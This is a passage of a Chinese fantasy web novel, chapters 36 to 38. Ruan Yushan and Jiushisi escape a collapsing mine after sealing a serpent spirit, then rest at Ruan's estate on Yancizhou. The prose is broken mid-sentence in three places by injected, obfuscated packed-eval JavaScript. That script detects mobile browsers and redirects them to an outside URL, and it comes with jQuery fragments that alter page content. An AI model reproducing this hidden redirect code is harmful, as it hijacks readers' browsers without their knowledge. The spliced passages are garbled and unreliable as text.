席莲生胸口被猛踹一脚,人还未醒,先呛出一口血来。 接着他在阮玉山手中被迫转醒,眼珠子木然地转动两圈,慢慢将视线聚集在阮玉山脸上,鼻腔里后知后觉涌上一股自己咳出来的血腥气,血气中还夹杂着眼前浓烈的尘烟味道。 席莲生看见阮玉山,神思回来了一半,再看看尘沙飞舞的整个矿道,开口先问:“这是哪儿?” 阮玉山可没工夫陪席莲生装傻充愣。 他攥着对方的衣领,一把将其掼到矿壁,直接把席莲生双脚拎着离了地,同自己平视道:“这里的骨珠,怎么会在你手上?” 阮玉山手劲可不小,席莲生被这么一抓一撞,感觉自己像个撞钟的横木,内脏跟着晃三晃不说,整个人骨缝里都能抖两斤骨灰出来。 再让阮玉山来这么一下,他直接肠子窜到脑子里,整个人给摇匀了。 “什么骨珠……”他艰难地从从牙缝里挤出几个字,随即便发出剧烈的咳嗽,同时看向自己的手,正好瞧见那颗所谓的骨珠被阮玉山拿了过去。 席莲生愣了愣,眼中闪过一抹怪异神色,却依旧坚持道:“我不知道……我不认识。” “放肆。”阮玉山一眼看破他有所隐瞒,心中戾气更甚,手上又加了两份力道将席莲生掼死在墙上。 他攥着席莲生衣领的那只手死死正抵住对方的咽喉:“在我面前撒谎,找死?” 席莲生险些窒息,只能不断拍打阮玉山青筋暴起的手背:“我真的……不知道。不是我,是……” 席莲生咬了咬牙,似乎很不愿说出那两个字:“……我娘。” 阮玉山皱眉。 他正要再问,席莲生却脑袋一歪,彻底昏死过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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百年过去,无方门开派掌门早已过世,手下弟子却还算不负师恩,不仅将金钩陷发扬成了看家本事,还每隔四年举办一次缚灵戟会,集结天下用戟英豪,在一块儿切磋,以此为特色,在各大玄门中占据自己的一席之地,长久地有了声量。 而当年那个随手点拨无方门老掌门的神医,却还活着。 医者长寿,何况还是和白断雨齐名的神医。 好巧不巧阮玉山还认识,正是钟离善夜。 “金钩陷”这阵法,脱胎于钟离善夜的无方掌,原本掌法是走步为营,将所要缚灵的妖物先以七步脚法作阵,再用手起势,存杀气于掌间,将脚下七步阵法走完,集中玄气结印于掌,再将最后一掌打向妖灵七寸——世间生灵,并非只有蛇的命门才在身体七寸,举凡有形之物,按身量比重划分,打其七寸便是扼其命门。人之骨珠,猫之后颈,大部分皆在其所谓“七寸”之位。 无方掌旨在近战,单人为阵,凭赤手空拳将有形之灵降伏于手;金钩陷所对敌手则更为宽泛,玄力所至,可以束缚没有化形的任何魂灵,哪怕是一座山,一条河,此法以戟为笔,以玄力为墨,当敌手太过强大时,甚至可以多人作阵,在所处之地划出七步地符,最后将玄力注入长戟,将戟打入妖灵七寸。 阮玉山先前在村外看那几株柳树排布时虽觉得蹊跷,但因柳树高大,人又身处地面,颇有种身在此中便难以纵观全局的意思,只依稀看出那兴许是个阵法,却没辨出那便是无方门的金钩陷。 如今眼睁睁看着整座山自毁塌陷,大半山石滚落至基部空洞连结成阵符,阮玉山才骤然想通,那几株柳树是金钩陷的第一招“七步地符”,而扼制此处妖灵的致命杀招。 而打中其七寸之处的东西,便是自家老太爷的骨珠! 如今骨珠被取,金钩陷解阵,整座山便以自己为媒介,用滚落的山石再创造了一个金钩陷阵法。 可这一次,用来打在此地七寸的,会是什么? 阮玉山思来想去,只能想到一个东西——那便是自己的骨珠了。 可他怎么想都觉得不对:自己来到此山不过偶然,倘或他今天改变主意没有进山,那这阵法岂不白做? 正凝神思索着,他听见身侧的矿壁传来轰然一声巨响。 有人打破矿壁,从迸溅的飞沙走石中纵身而进。 阮玉山看了好一会儿,才敢确认这是九十四。 这人此刻着实称得上一声狼狈,衣服上四处都是颜色诡异的泥块,整张脸脏得简直看不出原本面貌,唯有那一双眼睛依旧深邃明亮。 九十四的鼻尖眼下不是沾了泥巴就是带了灰,乌长的卷发也乱七八糟,整个人脏兮兮的,双目却带着冷冷杀意。 最重要的是,九十四身上挂着阮玉山的包袱,不知从哪儿顺手捡的石子在衣兜里摇摇欲坠要快落出来,他后背还背着阮玉山的木枪,左手拎着一只碗,而右手,手腕上缠着阮玉山为他裁下来的披风锦带,手心则拿着一把青光凛凛,与人等长,雕琢非凡的三尖戟。 倒是很有一副拖家带口跟人恶战过三百回合的模样。 阮玉山先是一怔,随后眉尾微微一挑。 冒死来救他? 36.修补 九十四现在没有这个想法。 白天清晨他在院子里察觉出蹊跷时同那罗迦换了眼色,没让对方跟上本意是想去学堂查探席莲生的安危,岂知本该在学堂的席莲生不见人影,九十四只等到铺天盖地的腐肉血泥同他缠斗。 待那罗迦前来与他一起杀出重围时,整个村庄早已如同一个巨大的熔炉,鬼影憧憧,不见一丝生气。 偏他和阮玉山的小院暂且相安无事。 九十四回到院儿里拿碗舀了口水,正喝着,忽闻远处的矿山轰隆隆地作响。 他抬眼一看,整座山正在剧烈震颤,轰鸣不止,数不清的山石滚动出片片尘烟,俨然是一副将要山崩的架势。 九十四拿着碗就往山上跑。 他无意让阮玉山为自己的一条衣带丧命,即便自己此时前去兴许也会落个生死未卜的下场,不过对于帮他捡衣带的人,他也做不到山崩于前弃之不顾。 更重要的是,阮玉山死了,他也活不成。 阮玉山有红州最矫健的骏马,但九十四认为,再矫健的马也得要人骑上去才能发挥作用。 谁知到了近前,他才发觉这座山的崩陷远没有从外看起来那么严重,至少只要他身手灵活些,还能躲避着山石往上跑。 不过所有该有的道路是已被覆盖了,九十四先找到了阮玉山的马,让那罗迦守着马,随自己的位置而变动。 他记不得腰带的位置,只能凭感觉跑到山腰,寻到一处平滑的山壁,企图打破山壁,以此试探能否见到矿道内的情况。 哪晓得这场山崩让此处的矿道外层山壁变得十分薄弱,九十四第一次动手,一试就中。 还见到了阮玉山。 阮玉山指着他右手问:“这戟是哪来的?” 戟? 九十四不知道什么是戟,顺着阮玉山所指一看,举起手中长戟问道:“这个?” 阮玉山没有否认。 “不知道。”九十四仰头观望着四面正在簌簌抖落的山石,回答得很爽快,“飞来的。” 阮玉山笑:“飞来?” 堂堂无相观音留下的神器,世间千万人数百年难求一见,就这么飞到他九十四手上来了? 九十四视察矿壁的当儿抽空瞅了一眼阮玉山的神色,瞧出对方这是不信他的话。 不过他也懒于解释,便说:“不错。” ——三尖戟确实是飞来的,只是不是飞到他手上的。 九十四在上山途中险些被飞滚的风沙迷了眼,山崩时飞沙太烈,遍地走石,无论何处,两步之内几乎都难以视物。 就在他正逆风而上的时候,忽然感觉身边有一道迅疾非常的横影与他擦肩而过。 他想也没想,伸手就逮。 这一逮恰好捉住了三尖戟的尾柄。 才刚捉住时,三尖戟还有些试图反抗的意思。 一把冷冰冰的神器,卯足了劲儿想往前冲,仿佛有什么急不可耐的事儿在前头等着去做。 冲了一下没挣脱,又使劲儿冲一下。 九十四被它带着动了两下胳膊,开始还新鲜,后边耐心用尽,皱着眉头往回一拽,神器便蔫巴了,霜打的茄子似的一动不动。 像是明白自己挣扎无用,三尖戟再不见任何动静,任由九十四拎着满山跑。 只是戟上青光暗淡了两分,好似有些不满的情绪一般。 神器有灵,阮玉山清楚这一人一器的结合绝不像九十四说的简单,对方无心多言,他便按下不问。 因为他发现,九十四这会儿眼珠子正对着矿道若有所思地转个不停。 这幅神态阮玉山最熟悉不过——九十四杀他不成反被他轻薄那晚,初来矿道时便是这个架势。 当时他没经验,看不出九十四在打什么主意。这会儿要是再看不出,那么多年的老爷就白做了。 而阮玉山猜的也没错,九十四此刻脑子确实正活络。 起初在院子里瞧见山崩,他来救阮玉山,是头脑一热和为自己着想的心思各占一半。 现下进了矿道,他冷静下来,瞧见阮玉山好端端站在这儿,又不一样了。 阮玉山死在山上或是矿道外,他会因此受到连累;可这会子阮玉山好好的站在矿道里头,简直是刻意等着他来把他变成干麂不是! 九十四都快觉得不趁此把阮玉山埋在矿道,都对不起天意。 他眼珠子一转,神色一冷,眼皮子一垂,睫毛挡住两道目光,阮玉山看都不看就知道他在想什么。 席莲生还昏睡在脚边,阮玉山悄无声息后退,把人拎起来抗在自己左肩,往矿道最深处瞥了一眼,暗暗摸清路线。 九十四忽然握紧手中长戟,抬眼看向他。 阮玉山一个转身拔腿就跑。 这要是跟前一晚上一样,俩人在山坡上还好说,阮玉山说不准还乐意试着跟九十四斗两下,顺便再摸摸小脸调调/情。反正九十四现在跟刚出世的鸡崽子似的什么门道都不懂,给人按在地上滚两圈,穴位一点就动弹不得了。 可如今他俩是在坍塌破碎的矿道里头,别说瞅准机会点穴了,阮玉山要是敢抱着九十四往地上一躺,还没来得及怎么滚,上头掉下来的矿石就能把他俩砸个半死。 何况九十四这会儿还有柄旷世神器加身。 阮玉山又不傻。 并且他执着地认为,九十四如若真得手杀了他,一定会后悔和伤心。 跑着跑着,阮玉山往后一瞧,九十四正踩着他踩过的地方步步紧逼地追过来,左手还拎着那只喝水的碗。 他逃命的同时还不忘笑一笑,心想这个九十四当真是有点聪明。 整个山体内部矿石的剥落固然有迹可寻,但那是阮玉山在这里观察过后才得知的,九十四乍然来此,并不知晓,如果要追阮玉山,胡乱下脚就是死命一条。 显然九十四死看阮玉山跑了两步便明白阮玉山心里边有张活地图,他自己虽不知路该怎么走,手脚却麻利,跟着阮玉山踩过的地方一踩一个准。 跑到一半阮玉山忽然想起一件事。 他把左肩的席莲生骤然换到自己右肩,同时顺便给自己左肩拍了拍灰——左边是先前抗九十四的位置,他可不想席莲生挂在九十四挂过的地方。 可惜尚未来得及从九十四手下彻底逃命,阮玉山便没路了——金钩陷的地符划到此处,就差最后那一钩子钉在原本老太爷骨珠的位置,整个用矿山构筑而成的“金钩陷”阵法就能完成。 可是最后用来镇压七寸的东西到底是什么? 阮玉山飞快地思索着,眼中灵光一闪,蓦地停下脚,在一个安稳处放下席莲生,挡在自己面前。 他一手拎着席莲生后背衣裳,支撑其不再倒地,另一手掐住席莲生的脖子,面向九十四,含笑威胁道:“阿四,你就非得杀我?” “我不杀你。”九十四跟着停下来,果然投鼠忌器,“我只想你埋在这里。” 阮玉山差点被这句话给一口气噎死。 他不急着在此时跟九十四理论二者的区别,只是盯着九十四手里那把三尖戟,暗中思忖着。 照理,三尖戟原本是观音打在过山峰身上用来封印巨蟒的唯一一件法宝,后来佘家寨挖到三尖戟的封印,无意间破坏了封印的完整性,神器才需要在找阮老太爷的骨珠来填补。 因此目连村外围的柳树应当是后期为了加固第二次封印,形成一个金钩陷的阵法才栽种的。 至于是此地天然先长了的柳树再被神器利用此地势填的骨珠,还是阮老爷的骨珠先被安在矿山,后来有人瞧见才刻意栽了柳树形成一个金钩陷,此时不得而知。 眼下封印第二次被毁,需要矿山自毁开启第三次填补,那这次需要打在阵法七寸用来镇压的宝物,不出意外就是刚才凭空出现在九十四手里的三尖戟。 可是非得是三尖戟不可吗? 阮玉山的目光转向九十四身后那把木枪。 那是他来到此处第一晚随手雕刻的武器。 虽然木材平平无奇,可枪上刻了威力不小的请火神咒。 一是他初来此地时照衣棚老板的话推断村中鬼怪怕火,此咒可令兵器短时间内有极强的火攻作用;二来此咒能让普通的兵器暂时承受巨大的玄力而不被冲折,既不挑材质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283464|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也不挑形式,非常便利。 阮玉山立马从心里生出了一个想法。 山体的晃动越来越剧烈,好似在提醒他们法器应该归位了。 “要死我也得死得心甘情愿。”阮玉山对九十四说,“我背着人,你却拿两把武器,这不公平。” 九十四举着戟,随手打开落到他眼前的石块,抽出身后木枪,正要递给阮玉山,又听阮玉山说:“我要那把更好的。” “没有人会心甘情愿地死。”九十四话虽这么说,手上却不犹豫,把三尖戟丢过去,他心知阮玉山绝不是在这等细枝末节斤斤计较的人,便道,“你不想跟我决斗——你到底要做什么?” 阮玉山忽然冲他偏头一笑:“你试试就知道了。” 席莲生再度被往上一丢,挂在阮玉山肩上。 “阿四,咱们一招定输赢。”阮玉山同九十四周旋着,视线搜寻整个金钩陷符咒大体的位置。 接着,他慢慢错开所有的坑洞和摇晃落下的矿石,走到金钩七寸之处的前方站定:“把你浑身的玄气全部灌注在这杆子枪上,射中我,你就自由了。” 九十四盯着阮玉山看了片刻,忽然眼角一弯,笑了。 “阮老爷,”他学着阮玉山那副看透一切的腔调,声音凉阴阴,慢悠悠的,“想利用我?” “阿四,你跑不过我。”阮玉山不置可否,“不论真假,这是你唯一的机会。” 出了这座山,就没那么多地方能让阮玉山变成活死人了。 九十四当然明白这个道理,于是在阮玉山话音未落时,他便调动全身所有玄气,集中一臂,将玄力灌注在这一根细细的木枪上,出其不意,猛然抛掷过去! 阮玉山原本还笑着,却着实没料到九十四会偷袭,脸色骤然一变,风似的闪身躲到一边。 即便如此,注满玄力的枪头还是擦破了他的左臂的袖子,给他胳膊割出少说一寸深的伤口。 “小兔崽子!”阮玉山捂着胳膊,恶狠狠地瞪着九十四,“你真下死手!” 他再是铜皮铁骨那也不是真的金刚罗汉,伤口哗啦啦流着血,是个人都会痛。 何况还是九十四这不知轻重的夺命阎王刺出来的伤。 换做寻常人,此时半条胳膊都可以直接废了。 与此同时,整座山的摇晃蓦地中止了。 一切都宛若凝结在这一刻,山中忽蔓延着一股诡异的寂静。 接着,一声无比凄怆又尖锐的咆哮仿佛从地底深处挣扎着蹿升而来,浸骨的寒意渗透在山中每一个石缝中,带着浓浓的绝望的杀意,像千万人的哭啼,也像……灵蛇的哭泣。 嘶哑的尖啸透过片片矿壁钻入他们的耳中,那是一种直冲天灵盖的怨恨和愤怒,几乎有那么一瞬,他们险些被这样的恨意感染,失了心智。 那声音像丝丝缕缕数不清在山壁上飞速游走的小蛇,眨眼之间冲向山顶后又好似遭遇重击轰然坠地。怒意聚在山顶,随后又哗地褪去,最后整座山的底部传出一圈无比沉重的坠落声。 犹如巨蟒欲出生天,求而不得,反被打落,再难翻身。 第三次封印……补好了。 阮玉山看向九十四,正要开口,对方突然猛地朝他扑来。 他猝不及防被扑倒到一边,连带着肩上的席莲生也滚到身侧。 下一瞬,在阮玉山刚刚站立的地方,骤然落下一块巨石。 阮玉山看了看巨石落下的位置,又突然含笑瞅了九十四一眼。 对方没什么反应,似乎刚才那一扑是出于本能,并非有心,因此扑完也没意识到自己主动救了阮玉山。 阮玉山顺势抓起三尖戟打向岩壁,再将九十四往对面一推,自己也朝反方向闪开,三尖戟打过的地方被冲破出一个不小的圆洞。 然后就先抓起席莲生丢了出去。 随后他再护着九十四同自己一并从洞中钻出。 那罗迦带着阮玉山的马在外等候多时,接了他们便朝山下飞驰而去。 马蹄声从这座古老的矿山一路踏响到遥不可及的远方,最后隐入天边那轮圆月下,夜幕与道路相接的长线。 37.摇椅 九十四躺在摇椅上发呆。 这是他和阮玉山离开目连村的第一日。 席莲生已经昏迷了整整一夜,至今没有醒来。 对于这个人,别说一向对其看之不起的阮玉山,就连九十四自己,也有很多想问的。 村子里的异象席莲生显然十分清楚,却从来不受任何影响。 九十四想知道那些异象的来源,唯一的突破口就是他。 还有自己手里这本日录。 这个全篇写满吃羊的簿子究竟出自谁手?跟村子里的异象又有什么联系? 九十四不是没怀疑过席莲生,可他见过席莲生的字,跟日录上的字迹压根不是一个人。 日录上的字写得秀气工整,可见下笔之人性子内敛,而席莲生的字虽不如阮玉山那般笔走龙蛇,却还是比日录上要外放许多。 昨晚他们在马背上赶了一夜的路,九十四原本坐在阮玉山身后,许是矿山中投向阮玉山的那一枪一口气耗费了他太多玄力,才离开不久,他就靠在阮玉山后背睡着了。 中途醒来一次,他们仍在赶路,只是自己不知几时被阮玉山挪到身前护在了怀里。 而原本应该跟他们一起驮在马背上的席莲生则不知被谁扔给了那罗迦。 再醒来,九十四就是在一张温暖宽敞的木床上。 他睁眼时先闻到一股沉静的香气,九十四不知那是什么香,闻着像烧过的木头,但气味却很舒心,多闻几下便同他记忆中阮玉山的气息重合了。 再抬眼看向周围,见着好大一间屋子。 兴许是他在睡觉的缘故,屋子里只点了两盏烛火,用绣着红珊瑚花纹的灯罩笼起来,灯罩上的纱布很薄,层层叠在一起,模糊了灯芯,却像糊着一层碎银子一样浮光闪烁。 九十四看着那两个极精致的灯罩出了会儿神,待观摩够了,又慢慢转动眼珠子去看屋子里别的玩意儿,无一不是雕梁画栋,鬼斧神工——包括那把他从矿山上带走的三尖戟,此刻在灯下看,戟上寸寸青光,犹如神兵之甲,庄重威严,非同凡俗。 最后他瞧见不远处的衣架,架子上架着件乌黑的衣裳,眼色纯正得发亮。瞧展臂的尺寸九十四一下子就想起阮玉山,只有阮玉山才穿得了这样尺寸的衣服。 衣服的料子比笼灯的罩纱还好上几十倍,从袖口到衣领,找不到一点缝制的痕迹,仿佛一块布生出来就是这件衣裳的模样,上头的缎光水波似的游动着,有光的地方才折射出衣裳上九十四认不出的赤色花纹。 接着他便看见衣裳下那小小一个冒着烟儿的炉子,屋子里的香就是从那炉子里散发出来的。 九十四这辈子第一次闻见香气是路边小二给的羊肉包子,第二次是阮玉山做的饭,第三次便是这炉子里的香了。 古书上说蝣人有体香,可九十四自己就是蝣人,他打出生起在周围闻见的不是烟雾四起的灰尘就是源源不断的血腥气:他族人的、自己的、又或是那些在斗场上赢下的猎物的,比如稚鸡、野兔、甚至是蛇鼠。 也有不少主顾指着一大杯才从他族人身上放出来的血啧啧称赞香气醇厚。 九十四有时看着他们对着鲜红的蝣人血豪饮不断,那时他闻不到香,他只想把那些人的舌头拔了。 熏香的炉子太小,上头的花纹在床上看不真切。九十四掀开被子光脚下床,发现自己还穿着昨夜奔袭时候的一身衣裳。 衣服上裹满了厚厚的泥灰,算是彻底报废了。 再回头看自己盖过的被子,也被污得看不出那是什么花纹的被子了。 他走向香炉,路过床边的铜镜,对上前看看自己的模样这件事并无兴趣;又经过那个雕刻精致的八角桌,瞧见上头四四方方摆着一本书,书名是《小儿睡时必读十记》。 一看就是有人故意放在桌上留给他的。 九十四拿起那本小儿话本看了看,又放回原位。 不问自取是为偷,除非像村里那本透露着古怪的吃羊日录,否则他无意碰别人的东西。 他走向香炉,蹲在衣架下方。 裹着一层泥巴壳子的衣摆垂到上好的紫檀雕花衣架上,九十四没有在意,他低下头凑到香炉顶嗅了几口,发丝落在香炉边,染上一点香味,确定这就是阮玉山身上的气味后,再擦了擦被他沾上灰的衣架,起身走回桌边,复又拿起那卷小儿话本去到门外。 倘或是别人的东西,九十四自然很遵守书上写的君子道义;但若是阮玉山的,九十四便使得心安理得。 甫一踏出门,那罗迦迎面朝他扑过来。 九十四险些被扑得一个踉跄。 他接住那罗迦,揉了揉对方的头顶,发现那罗迦此时身上非常干净,连毛都顺了不少,摸上去油光水滑,简直像有人刻意狠狠梳洗过一顿。 院子里左边六分地栽种着几株看不出种类的树,大抵是没到气候,树上光秃秃的,枝桠伶仃,见不到一点叶子。 树下有把摇椅。 院子右面四分则围了一小圈花圃,月洞门进来,靠手边有个小亭,庭外蜿蜒着池塘,亭子上有竹帘,看不清里头光景,只依稀瞧见桌椅和小塌。 九十四往檐下走了几步,回头一看,檐上有匾,写的是“四方清正”,一眼能看出是阮玉山的笔迹。 他浑身骨头忽的松散了,大摇大摆走到摇椅处,刚一屁股坐下,就听月洞门外传来一声:“脏!” 九十四充耳不闻,翻开话本打算看起来。 他朝背后一躺,摇椅忽地前后摇动。 九十四没坐过这东西,蓦地受了惊,啪一声合上书,动作轻巧地坐起身,如临大敌地扭头看向椅背。 月洞门外边又听人笑:“笨!” 九十四觉着自己被耍了,一记眼刀横向院子外。 阮玉山一进院门,就见着九十四那张灰不溜秋的脸。 昨夜他带人连夜赶回燕辞洲的私宅,见九十四累得昏睡不醒,便干脆把人抱上了床,用被子一裹,让九十四痛痛快快睡个昏天黑地再说。 至于自己,则挨着九十四小憩片刻后,起身拎着他忍了很久的那罗迦到外边去涮洗了一通。 临走前阮玉山为防九十四醒来后找不着人觉得无趣,便打发宅子的下人去外头现买了一批小儿书,挑了本字多画也多的放在桌上,以供九十四醒后解乏。 燕辞洲名字叫“洲”,实则是个小岛,在大渝和祈国边界,离娑婆的流放之地望苍海很近。 岛上鱼龙混杂,往来人众,加上这地方属地一直不甚明确,无人管辖,上岛之人大多来历不明或有意隐姓埋名,以至此处成了许多明暗交易或是安置产业的场所,渐渐地便野生野长得成了个经济发展得十分繁盛的地方。 而能在这岛上长久居住且有些身份的,非富即贵。 比方他们现在所处的这座易宅,便是阮玉山在外的私有。 从最老的老太爷那一代起,阮家人就明白,一旦归顺太祖,那这天下所有姓阮的东西,都是天子的财产。 哪怕时至今日,天子为了拉拢阮家三天两头赏赐奇珍异宝,此等稀世殊荣阮家要受得起,那责任便要承得住。 阮家有自己的兵,兵有多少,占几个营,粮草每月用多少银子,年年都得上报天子。阮玉山整日挥霍无度,金银财宝哗啦啦的往外送,花的是阮家的钱,安的却是天子的心。 如果不然,偌大一个红州城主府,藏金不用,那远在天子城龙椅上的人就要天天睡不着觉了——赏那么多钱,只见你阮家人往里收,不见你阮家人往外舍,拿着干什么去了? 阮玉山大把挥霍。 实则一半都进了自己在外的口袋。 阮家人自来个比个的精。 倘或有一日天子觉得阮家养肥了,一声令下把阮府给抄了,那府中举凡姓阮的一切都归上头,只有府外不姓阮的才是永久属于自己的。 退一万步讲,就算届时阮家要反,那留在红州的一座府邸,七万兵马,怎么保证一定打得过天子城六万精兵和无镛城谢九楼手下的五万骑兵? 谢家世世代代效忠天子,满门忠烈天下皆知,即便阮玉山不把天子城养的废物放在眼里,天子城外的谢九楼也不容小觑。 若说他红州阮玉山是暗藏杀机的虎,那谢九楼就是天子养在脚边不吠不喊的狼。 看着温顺,一旦出手,必定杀人。 只要红州起兵,无镛城谢氏必定拼尽全力护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15295227|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主。 与谢九楼厮杀,打完以后会是个什么结果,谁都无法预料。 若成则已,若不成,阮家的老弱妇孺又该何去何从? 阮家人世世代代都会在外安置产业。 小则良田农庄,大则军火赌坊。 燕辞洲赫赫有名的易三老爷,即便在如此富贵云集的神仙地界,也是富甲一方。 易三老爷就叫易三,大家伙不知其人真名,也不会有人去问。 平日里这宅子阮玉山短则三月一至,长则半年一至,偶尔隔月也会来看看,如今恰好是回宅的日子,外头许多事等着阮玉山处理,他收拾完了那罗迦,丢回院子里,便出门做事。 这会儿回来,刚好碰到九十四睡醒。 阮玉山身上换了套轻便的窄袖常服,依旧是墨色锦缎,肩膀上头用银色亮线刺着鱼鳞纹,头发高高束着,无论何时看着都很有精气神。 他背着手踏进月洞门,同时朝身后递了个眼色,不多时便有几个小厮低着脑袋端了几盆热水与食盒进来,放下东西便鱼贯而出。 矿山的风沙太过糙硬,九十四昨夜沾了一脸的灰,一晚上过去满手满脸都是泥块,若是硬洗,势必会把身上扯下几块皮来,到时候又得火辣辣地痛上一阵。 因此只能用热水打湿了帕子,慢慢把泥给捂化。 送水送吃的小厮出去了,阮玉山挽起袖子,把衣裳下摆往腰间一折,又回到在村子小院的模样,拧了帕子就走过去往九十四脸上敷。 九十四坐不惯摇椅,双手紧紧握着扶手不肯往下躺。 阮玉山便扶着椅背,笑道:“躺吧!我在这儿,它不敢动。” 九十四将信将疑地往后睡。 摇椅果真没动。 他瞅了瞅阮玉山,心里嘀嘀咕咕,觉得奇怪。 怎么一个椅子都听阮玉山的意思? 阮玉山笑而不语,只说道:“躺好,我让它慢慢动。” 九十四也不愿让他觉得自己很怕,于是往后蹭了蹭,挑了个舒服的姿势,翻开书故作随意道:“你让它动罢!” 实则后背绷得很紧。 阮玉山瞧着九十四被头发盖住的一截绷直的后颈脖子,觉得自己这时候上手捏一把,这人能被吓得原地跳起来。 他忍住了伸手的冲动,微微晃动椅背:“如何?” 九十四暗暗舒了半口气,挥手道:“不怎么样。” 阮玉山便加大了幅度,同时说:“你脚踩下去,用点力,看它会不会跟你动。” 九十四把脚从衣服底下伸出来。 还没踩上去,被阮玉山看见:“嗬,泥巴脚!” 他一边骂道:“鞋也不会穿。” 一边去端另一盆子热水。 椅子背骤然叫阮玉山松了手,九十四往后一荡,又心惊肉跳地抓紧了扶杆,指头都快抠进木头里。 慌乱中双脚往下踩住脚踏,只记得阮玉山那一句“用点力”,便忽的一下把椅子踩住了。 九十四定在椅子里,发觉椅子用脚一踩便一动不动,认为阮玉山诚不欺人,便自己摸索着轻轻松开脚,跟随椅子晃动的频率躺进去,先试着轻摇,很快便大着胆子,自得其乐适应过来。 阮玉山抱着盆过来时,就看见九十四意态悠然地在椅子里摇摇晃晃,胳膊肘搭在扶手上,两手拿着小儿书,就差再哼两支小曲儿,一副好不惬意的姿态。 他摇头笑笑,干脆脚也不急着叫九十四洗了,打定主意先让人悠闲这么片刻再说。 捂化了泥巴的帕子丢进水里,一盆清澈的水很快浑成了黑色,抬头去看,九十四的脸却恢复得干干净净明明亮亮。 阮玉山看到这张脸,忽然一垂眼,想起了什么。 “阿四。”他换了盆水,打算给九十四捂手。 “嗯?”九十四半合着眼睡在摇椅里,低着目光一边把椅子慢悠悠摇个不停一边看书,认为自己一心不可二用,便用鼻子哼唧一声回应阮玉山。 阮玉山抓住九十四空闲下来的左手,用温热的锦帕捂好,笑吟吟地站在九十四跟前,看着椅子里的人问:“矿山里,怎么最后要救我?” 九十四翻书的右手忽然一顿。 38.打鼾 阮玉山隔着一层细腻的锦帕,把九十四的手揉了又揉。 九十四右手指尖卡在书页之间,既不把翻立起来那一纸书页按下去,也不回答阮玉山的问题。 阮玉山看这人像是卡壳了。 他心里莫名好笑,捏了捏九十四的手指头,故作严肃道:“本老爷在问你的话。” 九十四眼珠子往上将阮玉山一扫,忽低下头,接着翻起他的小儿话本看起来。 “真装起泥菩萨了?”阮玉山拿腿碰了碰九十四的脚,想踹又舍不得踹,“修什么闭口禅?” 九十四听不懂什么闭口禅开口禅,他长这么大修过最多的是自己的手指甲。 他盯着书上的小人儿画,心里也在问自己,昨夜最后怎么会突然扑过去救了阮玉山。 可他想不出答案。 他也回答不出来为什么。 他对族人秉持着绝对的爱护,因此他总是拼尽全力去救他们;他对仇人是纯粹的憎恶,因此他日日夜夜恨不得手刃了他们。 可他对阮玉山说不清是爱是恨。 他想阮玉山彻底长眠在山中的矿道,以此获取长久的自由,可当死亡真正降落到阮玉山头顶那一刻,他的身体下意识救了对方。 阮玉山站在他心中楚河汉界不分明的地方。 九十四每每想到阮玉山这个不上不下不知该如何在心里安置的地位,内里就一阵厌烦。 可在外,始作俑者还不肯放过他。 “说话。”阮玉山不苟言笑,决不让他糊弄过去,“不是要杀我?” 九十四忽然把书对着阮玉山亮过去,指着上头一处问:“这个字念什么?” 阮玉山逼问之余抽出空凑过去看:“鼾。” 九十问:“什么意思?” “鼾声如雷。”阮玉山解释,“人睡着以后发出的声音,就是鼾声。如若打得很响,便可说是鼾声如雷。” 九十四把书收回去,盯着鼾字记了又记。 原来以前半夜他的族人在笼子里睡着以后鼻子发出的声音就叫鼾声。 那时他和百十八不懂,只觉得这声音好笑,偶尔还会凑在一块故意嬉笑着模仿。 阮玉山弯腰附到他眼前:“可记住了?” 九十四点头。 阮玉山把他手里的书一把按下:“那我考你。” 九十四自认过目不忘,对读书识字又格外热爱,多年来正愁没个法子验一验自己的学识,一听阮玉山要考他,便一下子来了精神:“你考吧。” 阮玉山直捣黄龙:“昨夜为何要救我?” 九十四:“……” 九十四陡然泄气,往摇椅上一躺,软绵绵瘫在椅子里,双目无神望着虚空,语气漂浮:“我不知道。” “不知道?”阮玉山可不会因为一句不知道就对他心生怜惜,“那你现在想。想明白了知道了,我听你答话。” 九十四的五指在扶手上焦躁地来回点了点,突然趁阮玉山不注意,从阮玉山手下抽出小人儿书往自己脸上一盖,开始发出些不清不楚的声音。 像是吸鼻子。 阮玉山皱眉:“你做什么?” 九十四不说话,还在一个劲儿吸鼻子。 阮玉山把他脸上的书拿开,九十四立马又给自己盖回去。 阮玉山哭笑不得:“不让我看,总该让我知道你这是什么意思吧?” 九十四忽地把书一掀,撑着扶手噌地坐起来,蹙着那对英气的眉毛把脸杵向阮玉山,一副恨铁不成钢的样儿:“我鼾声如雷!” 合着是在装睡。 阮玉山:“……” 阮玉山一点听不出来那是鼾声。 哪有人打鼾是使劲儿吸鼻子的? 他屈起食指和中指,一把用指节捏住九十四的鼻尖,也凑过去抵着九十四的额头,恶狠狠道:“你再不好好回答,我让你明白什么叫视死如归!” 